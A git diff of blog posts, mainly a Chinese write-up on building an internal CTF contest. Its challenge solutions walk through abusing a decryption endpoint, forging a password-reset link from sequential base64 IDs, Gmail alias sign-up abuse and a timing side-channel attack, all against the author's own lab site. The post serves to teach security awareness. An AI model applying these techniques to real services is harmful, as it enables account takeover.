Muvit 就足夠囉! + +**以下整一個簡單的比較表供大家參考:** + + +![](/assets/a66ce3dc8bb9/1*pNHklvkoN8Jgf1SCLrpMaw.png) + +### 選購: +1. [CATALYST FOR APPLE WATCH SERIES 4 44mm超輕薄防水保護殼](https://www.niceshop.me/products/catalyst-for-apple-watch-series-4-44mm-1){:target="_blank"} +2. [MUVIT Apple Watch Series4 \(44mm\) 耐衝擊保護殼](https://www.niceshop.me/products/muvit-apple-watch-series4-44mm){:target="_blank"} + + + +![](/assets/a66ce3dc8bb9/1*ajB7DIbAKPIb-9RGJe6A3w.jpeg) + +### 閒聊: + +從 [第一篇完整的開箱](../a2920e33e73e/) 到 [使用三個月後](../e85d77b05061/) ,算一算手上的 Apple Watch S4 已經戴快一年了;使用上已無太大的變化,第三方APP依然很少,最常用的功能依然是Apple Pay、解鎖MAC、看通知,Apple Watch已然融入到我的日常生活之中,習慣了它的便利. + + +> _by the way 讓我們一起期待 Watch OS 6 吧 :\)_ + + + + + +這半年更勤於發揮Apple Watch的運動功能,記錄跑步、自行車的時間、路線、心跳,除了紀錄之外;獎章讓你運動更有目標及成就感、與朋友競賽運動量或分享成果到社群都讓運動變成是有趣的事,這樣才更容易保持! + + +![獎章,競賽,運動路線,運動狀況](/assets/a66ce3dc8bb9/1*U0ipo2jgOoSgMY49z4kJmw.jpeg) + +獎章,競賽,運動路線,運動狀況 + + +> _本篇感謝 [Men’s Game 玩物誌](https://www.facebook.com/mensgametw/){:target="_blank"} 提供 Apple Watch Series 4 保護殼試用。_ + + + + +### 延伸閱讀 +### \[最新更新\] +- [**Apple Watch Series 6 開箱&使用兩年體驗心得 >>>點我前往**](../eab0e984043/) +- [**Apple Watch 原廠不鏽鋼米蘭錶帶開箱>>點我前往**](../c0f99f987d9c/) + +### 手錶都買了,不考慮AirPods 2耳機嗎? + +請看>> [AirPods 2 開箱及上手體驗心得](../33afa0ae557d/) + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-life/apple-watch-%E4%BF%9D%E8%AD%B7%E6%AE%BC%E9%96%8B%E7%AE%B1%E9%AB%94%E9%A9%97-catalyst-muvit-a66ce3dc8bb9){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2019-07-24-729d7b6817a4.md b/_posts/zmediumtomarkdown/2019-07-24-729d7b6817a4.md new file mode 100644 index 000000000..5921d2d37 --- /dev/null +++ b/_posts/zmediumtomarkdown/2019-07-24-729d7b6817a4.md @@ -0,0 +1,464 @@ +--- +title: "如何打造一場有趣的工程CTF競賽" +author: "ZhgChgLi" +date: 2019-07-24T14:32:34.350+0000 +last_modified_at: 2024-04-13T07:53:50.386+0000 +categories: "ZRealm Dev." +tags: ["capture-the-flag","ios-app-development","php","computer-science","wargame"] +description: "Capture The Flag 競賽建置與題目發想" +image: + path: /assets/729d7b6817a4/1*w3Yf4Wuhv9LqFVPHMjHquQ.png +render_with_liquid: false +--- + +### 如何打造一場有趣的工程CTF競賽 + +Capture The Flag 競賽建置與題目發想 + +### 關於 CTF + +Capture The Flag 奪旗簡稱 CTF;是一種源於西方的運動,在現代也常見於漆彈、第一人稱射擊遊戲中;原始概念是分組進行,各組需要保護自己的旗幟不被搶走另一方面也要想辦法得到別組的旗幟;應用在計算機領域就是「入侵攻防戰」首先找到自己的漏洞保護好不被入侵,另一方面製造零時差攻擊從其他隊伍搶奪分數。 + +以上屬於標準甚至可以說是「進階」的 CTF 比賽方式,要在企業內部Run一場 CTF 比賽還會有其他現實考量: +1. 舉辦 CTF 比賽的目的除了提升技術能力外還有 **促進工程師之間的交流** +2. 工程師各有所長,有Front\-End、Back\-End、APP、DevOps;若希望大家都能參與,出題方向就不能太針對某個領域(如:網路、PHP) +3. 分組要能強弱、更領域專長平均分散 +4. 活動時間頂多一個下午 +5. 舉辦 CTF 比賽屬於主要工作業務之外的Side Project,沒有太多的資源跟時間 + + +綜合以上因素,與其說是一場 CTF比賽,不如說是場: + + +> **_分組解謎累積旗幟積分&促進工程師之間交流的活動_** + + + + + +屬於初階的 CTF比賽! +### 活動目標 +1. 提升工程技術能力 +2. 促進工程師之間交流 +3. 激發大家探索事物的熱忱、敏銳度 +4. 有趣,無趣的事做起來很痛苦 + + +3、4項是我自己加入的,我對這個活動的期望不只是實務面;更希望透過有趣的方式提升大家對探索、學習新事物的熱忱,就如同日常工作一般;不應該只做碼農,而是要想辦法自我突破繼續向前! +### 比賽規則 +1. 將工程師依照專長、強弱平均分組 +2. 比賽時間:90分鐘 +3. 題目一共出了12題,提供3次花費得分購買提示的機會 +4. 提示購買花費依照時間遞減(越早買越貴) +5. 每題有基本得分\+時間得分(越早解越多) +6. 選擇開啟某個題目答題後,將鎖定只能回答該提或其他已開啟的題目;直到該提通過或鎖定時間結束 +(會有這條規則是因為活動主要希望組員之間能交流一起腦力激盪,而不是分工解題) +7. 每題分數、提示花費、鎖定時間依照題目難易度各有所不同 +8. 勝利條件:累積得分最高獲勝,若分數一樣則比較解題時間 +9. 獲勝隊伍有$$ + +### 如何打造? + +活動規則跟目標都釐清之後,再來的重頭戲就是如何打到一場 CTF比賽? + +此部分要分兩個章節說明, **第一是打造能進行 CTF比賽的系統** , **第二是 比賽題目的發想** +#### 1\.打造能進行 CTF比賽的系統 + + +> _這部分需要具備前端跟後端相關技術才能實作,如果不熟悉就只能請其他同事幫忙囉。_ + + + + + +前端: [Semantic UI](https://semantic-ui.com/){:target="_blank"} + +後端:PHP\+json檔儲存資料 + +因為時間有限,所以比賽系統的部分以簡單穩定快速搭建為主;這邊前端介面直接套用 [Semantic UI](https://semantic-ui.com/){:target="_blank"} 這套Framework;後端使用老本行PHP撰寫,無使用Framework,資料儲存部分也直接使用json檔做存放,無使用資料庫;一切從簡,也比較不會有問題(例如有人想攻擊比賽系統直接獲得答案)。 + +**入口頁:** + + +![](/assets/729d7b6817a4/1*w3Yf4Wuhv9LqFVPHMjHquQ.png) + + +以有趣為出發點,入口頁使用BBC影集Sherlock的梗: + + +![手機解鎖密碼 S H E R](/assets/729d7b6817a4/1*Ad9eIHn6NNBD0EwFIXXmzw.png) + +手機解鎖密碼 S H E R + +這四格輸入框用來輸入各組得到的識別碼\(4位數\),例如:輸入第一組:「1432」、第二組:「8421」,用來識別要答題的組別。 + +至於各組的識別碼這邊我多埋了一個梗,識別碼呈現如下: + + +![](/assets/729d7b6817a4/1*CPQa1cchi9XEcuFGG1IZnw.png) + + +有看出來四位數字識別碼了嗎?沒有的話請離螢幕遠一點看看。 + +……\. + +…………… + +………………… + +……………………… + +……………………………\. + +…………………………………\. + +……………………………\. \. + +………………………\. + +………………\. \. + +………… + +……\. + +\. \. + + +![](/assets/729d7b6817a4/1*4g1g-p5tc8AGmj7OBl8GNg.jpeg) + + +解答:第一組的識別碼是 8291 + +**輸入之後就會進入比賽系統主頁\-題目列表:** + + +![](/assets/729d7b6817a4/1*_zGa9rBn-kAWmWu5V4x-YA.png) + + +**上方顯示:** Team 1 組別、提示券剩餘張數 + +**中間題目區:** 題目名稱、描述、通過獲得分數、鎖定時間、購買提示、提示顯示 + + +![滑鼠移入會顯示時間分數、提示價格](/assets/729d7b6817a4/1*r9PLQICTpLTcModIKP2G8g.jpeg) + +滑鼠移入會顯示時間分數、提示價格 + +**下方顯示:** Total 目前總分 + +**後端及其他邏輯:** 題目列表頁每秒會用Ajax跟後端要當前答題狀況,後端讀取、記錄答題狀況在各組的json檔;按解鎖答題時會記錄時間、時間未到無法解鎖其他題目、答題通過寫入完成時間、時間分數、提示價格會依照花費時間遞增遞減。 + + +> _比賽系統大致上如此,不過重點不在於比賽系統,而是題目本身!_ + + +> _有不有趣、能不能讓所有人參與、有沒有邏輯、新不新奇…真的很難發想_ + + + + + +讓我們趕進進入重點吧! +#### **2\.比賽題目的發想** + +首先介紹我所發想的5個題目 + +**1\.通往魔法學院的大門** + + +![](/assets/729d7b6817a4/1*FYUNxW5IE7ZAWkoCtiQ-aw.png) + + +**題目說明:** 你會得到一串金鑰,要想辦法使用這把鑰匙解出咒語,輸入在咒語輸入框;下方有驗證碼欄位需要輸入,按驗證進行答題。 + +**解答:** + + +![](/assets/729d7b6817a4/1*wHmLeh5xuRQgJxosba50mg.png) + + +本題考的是資安及編碼問題;平台加解密漏洞接口運用,若在網站設計時所有的加密解密都使用同一套方式、同一把鑰匙,我們就能運用這個弱點去解開加密內容得到原始資料! + +可以看到驗證碼的部分是 `./image.php?token=AD0HbwdgVDw=` 這裡就提供一個解密的接口,所以我們可以試試把上方的加密金鑰帶入: + + +![](/assets/729d7b6817a4/1*yMnbduFy0uhjh3FRPdv7sA.png) + + +即可得到解密後的字串:LiveALifeYouWillRemeber + +輸入到咒語輸入框後即可通關! + +**2\.請帶我回到1937年的上海!** + + +![](/assets/729d7b6817a4/1*LdK9mx_sHGSs3uUYnRrqRg.png) + + +**題目說明:** 要想辦法輸入年/月/日送出到後端,讓後端判別成是1937年;年份輸入範圍\(1947~2099\)無法直接輸入1937年。 + +**解答:** + +本題旨不在如何繞過前端判斷,因為後端有處理所以無法繞過;本題主要考的是 [32位元電腦2038年問題](https://zh.wikipedia.org/wiki/2038%E5%B9%B4%E9%97%AE%E9%A2%98){:target="_blank"} ,因為位元數限制32位元的timestamp最多只能顯示到2038年1月19日03:14:07,超過將會溢位回到1901年1月1日;因此可以透過往後推算輸入 `2073–02–06 到 2074–02–05` 都會落在1937年,輸入這範圍的日期後即可傳送成功! + + +![[維基百科](https://zh.wikipedia.org/wiki/2038%E5%B9%B4%E9%97%AE%E9%A2%98#/media/File:Year_2038_problem.gif){:target="_blank"}](/assets/729d7b6817a4/1*k2-G9NVw7p1HhIfSdruZtg.gif) + +[維基百科](https://zh.wikipedia.org/wiki/2038%E5%B9%B4%E9%97%AE%E9%A2%98#/media/File:Year_2038_problem.gif){:target="_blank"} + +**3\.神鬼交鋒** + + +![](/assets/729d7b6817a4/1*8FPAXgW_16rIfhbNYVmCaQ.png) + + +**題目說明:** 要想辦法收取一個第三方\(你無法登入的信箱\)的密碼重設信,完成重設別人的密碼。 + +**解答:** + +本題需要更多的敏銳度,首先先使用自己可以收信的信箱做密碼重設;我們收到的信件如下: +```plaintext +您的密碼重設連結:http://ctf.zhgchg.li/10/reset.php?requestid=OTk= 如跟您無關聯,無須理會此封信,謝謝! +``` + +我們可以發現密碼重設請求是透過requestid這個參數去識別,我們得到的值是 `OTk=` ,看起來是base64?,試試看吧: + + +![[base64 decode and encode](https://www.base64decode.org/){:target="_blank"}](/assets/729d7b6817a4/1*RlZ9yo5KKrzVm5p5DNI3XA.png) + +[base64 decode and encode](https://www.base64decode.org/){:target="_blank"} + +我們可以得到參數的值是99,再重複請求一次密碼重設得到100,因此可以推測密碼重設請求是流水號,下一號就是101,這時再回到原本要繞過的信箱按重設密碼請求,我們就能自行偽造組合出密碼重設連結,進而偷偷重設別人的密碼。 + + +![](/assets/729d7b6817a4/1*Qb9ABwqE53QzSBeiXQdFBw.png) + + +將101 Encode Base64 => MTAx,偽造網址: `http://ctf.zhgchg.li/10/reset.php?requestid=MTAx` ,隨意輸入密碼後按下密碼重設即可通關! + + +![](/assets/729d7b6817a4/1*n3aFQLWbzmUUtrBp1L1pEw.png) + + +**4\.馬甲大師** + + +![](/assets/729d7b6817a4/1*zjPlC6WZgQmIYymEodTKBg.png) + + +**題目說明:** 你需要生出10組Gmail信箱(Gmail託管信箱),收取解答信。 + +**解答:** + +本題當然可以暴力破解,但公司信箱是不能隨意註冊的;除非找到10個人幫你收信不然無法解答。 + +本題關鍵是 Gmail信箱/Gmail託管信箱,由於公司信箱是Gmail託管信箱;所以也有Gmail信箱的特性:可以使用「\.」、「\+」創造出無限的分身信箱,「\.」可以放在帳號任意位置、「\+」可以放在最後\+任何數字 + +例如:主信箱是 `zhgchgli@gmail.com` ,但z\.hgchgli@gmail\.com、zh\.gchgli@gmail、zhgchgli\+1@gmail\.com、zhgchgli\+25@gmail\.com…都會寄到 `zhgchgli@gmail.com` 主信箱,一個信箱就能創造出多個身份! + +這體主要在提醒大家在做帳號註冊時要多過濾掉這些字符,以免讓有心人利用註冊大量假帳號。 + + +![](/assets/729d7b6817a4/1*WwYS4pVjDAMBdoJlgEr60w.png) + + +收取完10封信就能組合出解答所在網址,進入網址後即可通關! + +**5\.時間機器** + + +![](/assets/729d7b6817a4/1*W21HYA96lFRydYUpAB3EPQ.png) + + +**題目說明:** 跟第3題神鬼交鋒有點像,要想辦法收取一個第三方\(你無法收取簡信\)的手機簡訊驗證碼\(4位數字\),完成登入別人的帳號。 + +**解答:** + +本題較冷門困難,主要模擬旁路時序攻擊,系統登入驗證包含複雜演算法,在處理驗證資訊時會有時差出現(例如:輸入對1碼處理比較久\. \.全錯馬上就返回了,很快);透過觀察這些時差我們從 `0000` 開始一位一位去嘗試,嘗試 `2000` 時發現處理了一秒,我們可以得知第一位是 `2` ;再繼續嘗試 `2100` 還是一秒, `2200` 時又更慢了,變兩秒…再繼續試第三位、第四位最後就能直接獲得解答「 `2256` 」 + +本題只是模擬此種攻擊,後端處理直接用sleep模擬非實際有複雜的演算法,一般在網頁、APP開放上也較少遇到這種攻擊;一放面是處理資訊都不夠複雜到會有明顯時差、另一方面還有網路因素影響,不好判斷。 + +關於旁路攻擊詳細可參考此篇文章: + + +![[30 分钟理解 CORB 是什么 — 旁路攻击(side\-channel attacks)](https://segmentfault.com/a/1190000016126079){:target="_blank"}](/assets/729d7b6817a4/1*SF1S_RZNTI-5ZaC3Kw1Ypw.png) + +[30 分钟理解 CORB 是什么 — 旁路攻击(side\-channel attacks)](https://segmentfault.com/a/1190000016126079){:target="_blank"} + + +> _以上是我發想的5題,下面繼續介紹同事們提供的剩下7題題目。_ + + + + + +**1\.貞子出鏡** + + +![貞子圖取自網路](/assets/729d7b6817a4/1*I4jlrpa3w-HmqCtuTY11ig.png) + +貞子圖取自網路 + +**題目說明:** 題目就是一張貞子圖,要在上方對話輸入框輸入貞子想說的話,即可通關。 + +**解答:** + +本題考大家知不知道圖片能塞其他資訊的概念,關鍵在這張圖的原圖: + + +![貞子圖取自網路](/assets/729d7b6817a4/1*zMmNz4PsgipRaxIPhUhYcQ.png) + +貞子圖取自網路 + +這張圖已經偷偷壓縮一個文字檔在裡面(實際作法請參考: [How To Hide A ZIP File Inside An Image On Mac \[Quicktip\]](https://www.hongkiat.com/blog/hide-zip-image-mac/){:target="_blank"} ,這邊要注意Win/Mac的問題) + +所以我們只要簡單的在Commone unzip 這張圖就能獲得通關字串: + + +![](/assets/729d7b6817a4/1*e6j1AJPcv_qROUX4xUsJHA.png) + + + +![](/assets/729d7b6817a4/1*YVOGsdi1hS2OO6ctHc6dFg.png) + + +在輸入框輸入「YOUHAVENOIDEA」即可通關! + +**補充:** + +關於圖片隱藏資訊部分,這邊還有另一種方式,使用「 [圖像隱碼術\(Steganography\)](https://blog.trendmicro.com.tw/?p=12510){:target="_blank"} 」 + + +![[圖像隱碼術\(Steganography\)與惡意程式:原理和方法](https://blog.trendmicro.com.tw/?p=12510){:target="_blank"}](/assets/729d7b6817a4/1*WfSUbQXSjTOg28ZWsihMHg.png) + +[圖像隱碼術\(Steganography\)與惡意程式:原理和方法](https://blog.trendmicro.com.tw/?p=12510){:target="_blank"} + +簡單來說就將像素色碼的顏色值做手腳藏資訊,實際圖片已變但肉眼無法分辨出來。 + +這題怕大家走這個方向,所以也在圖片裡做了隱碼,走這條路的人可以獲得提示: + + +![[Steganography Online](https://stylesuxx.github.io/steganography/){:target="_blank"}](/assets/729d7b6817a4/1*POIFkyOYl3RdBWUAofw3PQ.png) + +[Steganography Online](https://stylesuxx.github.io/steganography/){:target="_blank"} + +將圖片上傳至線上隱碼解碼工具即可獲得提示。 + +**2\.凱薩大帝的摩斯密碼** + + +![素材圖片取自網路](/assets/729d7b6817a4/1*PZz3sUOhaUNKRmNS_jY1RA.png) + +素材圖片取自網路 + +**題目說明:** 試解出題目所提供的摩斯密碼所含的意思(一句英文)。 + +**解答:** + +本題相當直白,第一步就是先解出摩斯密碼代表的英文字母「 `VYYXI DN HT GDAZ` 」 + + +![[摩斯密碼翻譯器](https://mathsking.net/morse.htm){:target="_blank"}](/assets/729d7b6817a4/1*venMZ3lkF-hYarWe9bMd6A.png) + +[摩斯密碼翻譯器](https://mathsking.net/morse.htm){:target="_blank"} + +然後再做凱薩密碼解密,當我們嘗試到偏移量5時可以得到一句有意義的英文句子「 [addcn](https://www.addcn.com/){:target="_blank"} is my life」,即為答案! + + +![[凱薩密碼解密工具](http://ctf.ssleye.com/caesar.html){:target="_blank"}](/assets/729d7b6817a4/1*kTiosisv3i7Ib9v25AYftg.png) + +[凱薩密碼解密工具](http://ctf.ssleye.com/caesar.html){:target="_blank"} + +**3\.你覺得是什麼?** + + +![](/assets/729d7b6817a4/1*uQVxWP_Xkpy9ZrHUcMMNQw.png) + + +打開這題的網頁就是一堆亂碼,完整如下: +```plaintext +ZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFtSUFBQUIrQ0FZQUFBQ0gzWDB2QUFBS3cybERRMUJKUTBNZ1VISnZabWxzWlFBQVNJbVZsd2RVazFrV3g5LzNwVGRhQWdKU1F1OUlyMUpDYUFHVVhtMkVKSkJRWWt3SUFuWmtjQVRHZ29vSWxnRWRCRkZ3TElDTUJiRmdZVkN3Z0hXQ0RBcktPRmdRRlpYOWdDWE03SjdkUFh0ejN2Zjl6ai8zM1hmdk8rL2wzQUJBSWJORm9uUllDWUFNWWFZNElzQ0hIaGVmUU1mMUF3akFnQUJvd0pMTmtZZ1lZV0VoQUxHWjk5L3R3MzNFRzdFN1ZwT3gvdjM3LzJyS1hKNkVBd0FVaG5BU1Y4TEpRUGdVTXQ1eVJPSk1BRkExaUc2d01sTTB5UjBJMDhSSWdnakxKamxsbXQ5UGN0SVVvL0ZUUGxFUlRJUzFBTUNUMld4eENnQmtVMFNuWjNGU2tEamtRSVJ0aEZ5QkVPRnNoRDA1ZkRZWDRXYUVMVE15bGsveTd3aWJKdjBsVHNyZllpYkpZN0xaS1hLZXJtWEs4TDRDaVNpZG5mTi9ic2YvdG94MDZjd2F4c2dnODhXQkVjaGJFOW16M3JUbHdYSVdKaTBNbldFQmQ4cC9pdm5Td09nWjVraVlDVFBNWmZzR3krZW1Md3laNFdTQlAwc2VKNU1WTmNNOGlWL2tESXVYUjhqWFNoWXpHVFBNRnMrdUswMkxsdXQ4SGtzZVA1Y2ZGVHZEV1lLWWhUTXNTWXNNbnZWaHluV3hORUtlUDA4WTRETzdycis4OWd6Slgrb1ZzT1J6TS9sUmdmTGEyYlA1ODRTTTJaaVNPSGx1WEo2djM2eFB0TnhmbE9ralgwdVVIaWIzNTZVSHlIVkpWcVI4YmlaeUlHZm5oc24zTUpVZEZEYkRJQVl3Z0IzeXNVY0dIVVFDSGhBREFmSkVhc25rWldkT0ZzUmNMc29SQzFMNG1YUUdjdE40ZEphUVkyMUp0N094ZFFWZzh0NU9INHQzdlZQM0VWTER6Mm81VzVCanJvQ0l3N05hckNFQXh3WUIwSGc5cXhrakdvMElRRk1FUnlyT210YlFrdzhNSUFKRjVQZEFBK2dBQTJBS3JKQXNuWUE3OEFaK0lBaUVnaWdRRDVZQ0R1Q0REQ1R2bFdBMTJBQUtRQkhZQm5hQmNuQUFIQVExNEJnNEFackFXWEFSWEFVM3dXMXdEendDTWpBQVhvRVI4QUdNUXhDRWd5Z1FGZEtBZENFanlBS3lnMXdnVDhnUENvRWlvSGdvRVVxQmhKQVVXZzF0aElxZ0VxZ2Nxb1Jxb1oraE05QkY2RHJVQlQyQStxQWg2QzMwR1ViQlpKZ0dhOFBHOER6WUJXYkF3WEFVdkFST2dWZkF1WEErdkFVdWc2dmdvM0FqZkJHK0NkK0RaZkFyZUJRRlVDU1VHa29QWllWeVFURlJvYWdFVkRKS2pGcUxLa1NWb3FwUTlhZ1dWRHZxRGtxR0drWjlRbVBSVkRRZGJZVjJSd2VpbzlFYzlBcjBXblF4dWh4ZGcyNUVYMGJmUWZlaFI5RGZNQlNNRnNZQzQ0WmhZZUl3S1ppVm1BSk1LYVlhY3hwekJYTVBNNEQ1Z01WaTFiQW1XR2RzSURZZW00cGRoUzNHN3NNMllGdXhYZGgrN0NnT2g5UEFXZUE4Y0tFNE5pNFRWNERiZ3p1S3U0RHJ4ZzNnUHVKSmVGMjhIZDRmbjRBWDR2UHdwZmdqK1BQNGJ2d0wvRGhCaVdCRWNDT0VFcmlFSE1KV3dpRkNDK0VXWVlBd1RsUW1taEE5aUZIRVZPSUdZaG14bm5pRitKajRqa1FpNlpOY1NlRWtBV2s5cVl4MG5IU04xRWY2UkZZaG01T1o1TVZrS1hrTCtUQzVsZnlBL0k1Q29SaFR2Q2tKbEV6S0Zrb3Q1UkxsS2VXakFsWEJXb0dsd0ZWWXAxQ2gwS2pRcmZCYWthQm9wTWhRWEtxWXExaXFlRkx4bHVLd0VrSEpXSW1weEZaYXExU2hkRWFwUjJsVW1hcHNxeHlxbktGY3JIeEUrYnJ5b0FwT3hWakZUNFdya3E5eVVPV1NTajhWUlRXZ01xa2M2a2JxSWVvVjZnQU5Tek9oc1dpcHRDTGFNVm9uYlVSVlJkVkJOVVkxVzdWQzlaeXFUQTJsWnF6R1VrdFgyNnAyUXUyKzJ1YzUybk1ZYzNoek5zK3BuOU05WjB4OXJycTNPays5VUwxQi9aNzZadzI2aHA5R21zWjJqU2FOSjVwb1RYUE5jTTJWbXZzMXIyZ096NlhOZFovTG1WczQ5OFRjaDFxd2xybFdoTllxcllOYUhWcWoyanJhQWRvaTdUM2FsN1NIZGRSMHZIVlNkWGJxbk5jWjBxWHFldW9LZEhmcVh0QjlTVmVsTStqcDlETDZaZnFJbnBaZW9KNVVyMUt2VTI5YzMwUS9XajlQdjBIL2lRSFJ3TVVnMldDblFadkJpS0d1NFFMRDFZWjFoZytOQ0VZdVJueWozVWJ0Um1QR0pzYXh4cHVNbTR3SFRkUk5XQ2E1Sm5VbWowMHBwbDZtSzB5clRPK2FZYzFjek5MTTlwbmROb2ZOSGMzNTVoWG10eXhnQ3ljTGdjVStpeTVMaktXcnBkQ3l5ckxIaW16RnNNcXlxclBxczFhekRySE9zMjZ5ZmozUGNGN0N2TzN6MnVkOXMzRzBTYmM1WlBQSVZzVTJ5RGJQdHNYMnJaMjVIY2V1d3U2dVBjWGUzMzZkZmJQOUd3Y0xCNTdEZm9kZVI2cmpBc2ROam0yT1g1MmNuY1JPOVU1RHpvYk9pYzU3blh0Y2FDNWhMc1V1MTF3eHJqNnU2MXpQdW41eWMzTExkRHZoOXFlN2xYdWEreEgzd2ZrbTgzbnpEODN2OTlEM1lIdFVlc2c4Nlo2Sm5qOTZ5cnowdk5oZVZWN1B2QTI4dWQ3VjNpOFlab3hVeGxIR2F4OGJIN0hQYVo4eHBodHpEYlBWRitVYjRGdm8yK21uNGhmdFYrNzMxRi9mUDhXL3puOGt3REZnVlVCcklDWXdPSEI3WUE5TG04VmgxYkpHZ3B5RDFnUmREaVlIUndhWEJ6OExNUThSaDdRc2dCY0VMZGl4NFBGQ280WENoVTJoSUpRVnVpUDBTWmhKMklxd1g4S3g0V0hoRmVIUEkyd2pWa2UwUjFJamwwVWVpZndRNVJPMU5lcFJ0R20wTkxvdFJqRm1jVXh0ekZpc2IyeEpyQ3h1WHR5YXVKdnhtdkdDK09ZRVhFSk1RblhDNkNLL1Jic1dEU3gyWEZ5dytQNFNreVhaUzY0djFWeWF2dlRjTXNWbDdHVW5FekdKc1lsSEVyK3dROWxWN05Fa1Z0TGVwQkVPazdPYjg0cnJ6ZDNKSGVKNThFcDRMNUk5a2t1U0IxTThVbmFrRFBHOStLWDhZUUZUVUM1NGt4cVllaUIxTEMwMDdYRGFSSHBzZWtNR1BpTXg0NHhRUlpnbXZMeGNaM24yOGk2UmhhaEFKRnZodG1MWGloRnhzTGhhQWttV1NKb3phVWlEMUNFMWxYNG43Y3Z5ektySStyZ3ladVhKYk9Wc1lYWkhqbm5PNXB3WHVmNjVQNjFDcitLc2FsdXR0M3JENnI0MWpEV1ZhNkcxU1d2YjFobXN5MTgzc0Q1Z2ZjMEc0b2EwRGIvbTJlU1Y1TDNmR0x1eEpWODdmMzErLzNjQjM5VVZLQlNJQzNvMnVXODY4RDM2ZThIM25adnROKy9aL0syUVczaWp5S2FvdE9oTE1hZjR4ZysyUDVUOU1MRWxlVXZuVnFldCs3ZGh0d20zM2QvdXRiMm1STGtrdDZSL3g0SWRqVHZwT3d0M3Z0KzFiTmYxVW9mU0E3dUp1Nlc3WldVaFpjMTdEUGRzMi9PbG5GOStyOEtub21HdjF0N05lOGYyY2ZkMTcvZmVYMzlBKzBEUmdjOC9DbjdzclF5b2JLd3lyaW85aUQyWWRmRDVvWmhEN1QrNS9GUmJyVmxkVlAzMXNQQ3dyQ2FpNW5LdGMyM3RFYTBqVyt2Z09tbmQwTkhGUjI4Zjh6M1dYRzlWWDltZzFsQjBIQnlYSG4vNWMrTFA5MDhFbjJnNzZYS3kvcFRScWIybnFhY0xHNkhHbk1hUkpuNlRyRG0rdWV0TTBKbTJGdmVXMDc5WS8zTDRyTjdaaW5PcTU3YWVKNTdQUHo5eElmZkNhS3VvZGZoaXlzWCt0bVZ0ank3RlhicDdPZnh5NTVYZ0s5ZXUrbCs5MU01b3YzRE40OXJaNjI3WHo5eHd1ZEYwMCtsbVk0ZGp4K2xmSFg4OTNlblUyWGpMK1ZiemJkZmJMVjN6dTg1M2UzVmZ2T043NStwZDF0MmI5eGJlNjdvZmZiKzNaM0dQckpmYk8vZ2cvY0diaDFrUHh4K3RmNHg1WFBoRTZVbnBVNjJuVmIrWi9kWWdjNUtkNi9QdDYzZ1crZXhSUDZmLzFlK1MzNzhNNUQrblBDOTlvZnVpZHRCdThPeVEvOUR0bDR0ZURyd1N2Um9mTHZoRCtZKzlyMDFmbi9yVCs4K09rYmlSZ1RmaU54TnZpOTlwdkR2ODN1RjkyMmpZNk5NUEdSL0d4d28vYW55cytlVHlxZjF6N09jWDR5dS80TDZVZlRYNzJ2SXQrTnZqaVl5SkNSRmJ6SjVxQlZESWdKT1RBWGg3R0FCS1BBRFUyd0FRRjAzMzFWTUdUZjhYbUNMd24zaTY5NTR5SndDcXZRR0liZ1VnY0QwQUZaTTlDTUlxeUFoRDlDaHZBTnZieThjL1RaSnNiemNkaTlTRXRDYWxFeFB2a0I0U1p3YkExNTZKaWZHbWlZbXYxVWl5RHdGby9URGR6MDlhQXRJMzV4bE9VZ2VURC83Vi9nSENLaEdyVlRxbk1nQUFBWjFwVkZoMFdFMU1PbU52YlM1aFpHOWlaUzU0YlhBQUFBQUFBRHg0T25odGNHMWxkR0VnZUcxc2JuTTZlRDBpWVdSdlltVTZibk02YldWMFlTOGlJSGc2ZUcxd2RHczlJbGhOVUNCRGIzSmxJRFV1TkM0d0lqNEtJQ0FnUEhKa1pqcFNSRVlnZUcxc2JuTTZjbVJtUFNKb2RIUndPaTh2ZDNkM0xuY3pMbTl5Wnk4eE9UazVMekF5THpJeUxYSmtaaTF6ZVc1MFlYZ3Ribk1qSWo0S0lDQWdJQ0FnUEhKa1pqcEVaWE5qY21sd2RHbHZiaUJ5WkdZNllXSnZkWFE5SWlJS0lDQWdJQ0FnSUNBZ0lDQWdlRzFzYm5NNlpYaHBaajBpYUhSMGNEb3ZMMjV6TG1Ga2IySmxMbU52YlM5bGVHbG1MekV1TUM4aVBnb2dJQ0FnSUNBZ0lDQThaWGhwWmpwUWFYaGxiRmhFYVcxbGJuTnBiMjQrTmpFd1BDOWxlR2xtT2xCcGVHVnNXRVJwYldWdWMybHZiajRLSUNBZ0lDQWdJQ0FnUEdWNGFXWTZVR2w0Wld4WlJHbHRaVzV6YVc5dVBqRXlOand2WlhocFpqcFFhWGhsYkZsRWFXMWxibk5wYjI0K0NpQWdJQ0FnSUR3dmNtUm1Pa1JsYzJOeWFYQjBhVzl1UGdvZ0lDQThMM0prWmpwU1JFWStDand2ZURwNGJYQnRaWFJoUGdvZmZnckVBQUFyTVVsRVFWUjRBZTJkQ2R5VTQvckhyeFNINGsyaTBxYkZhYU9pQlpFVWh6YUpOcVc5Y0p5c2xUWmJqaVBhYkVjTDdTa3ErU2RhQ0tVT0twV2lva1hrRUZvVUxRaWwvL1ViNXozbjlacG03bnZtMmVkM2ZUN3ptZmVkdWVaZXZzOHo4MXpQZlY5TG5rcVZ5eDhSQ2dtUUFBbVFBQW1RQUFtUWdPY0Vqdkc4UjNaSUFpUkFBaVJBQWlSQUFpUVFJMEJEakNjQ0NaQUFDWkFBQ1pBQUNmaEVnSWFZVCtEWkxRbVFBQW1RQUFtUUFBblFFT001UUFJa1FBSWtRQUlrUUFJK0VhQWg1aE40ZGtzQ0pFQUNKRUFDSkVBQ05NUjREcEFBQ1pBQUNaQUFDWkNBVHdSb2lQa0VudDJTQUFtUUFBbVFBQW1RQUEweG5nTWtRQUlrUUFJa1FBSWs0Qk1CR21JK2dXZTNKRUFDSkVBQ0pFQUNKRUJEak9jQUNaQUFDWkFBQ1pBQUNmaEVnSWFZVCtEWkxRbVFBQW1RQUFtUUFBblFFT001UUFJa1FBSWtRQUlrUUFJK0VhQWg1aE40ZGtzQ0pFQUNKRUFDSkVBQ05NUjREcEFBQ1pBQUNaQUFDWkNBVHdUeStkUXZ1NDBZZ1JiWFhDUDE2dFZMT3F1ZmZ2cEorZzhZSUVlT0hFbXFTd1VTSUFFU0lBRVNpRG9CR21KUlA4SWV6YTlHalJwU3YzNTlvOTd1dnVjZU9YVG9rS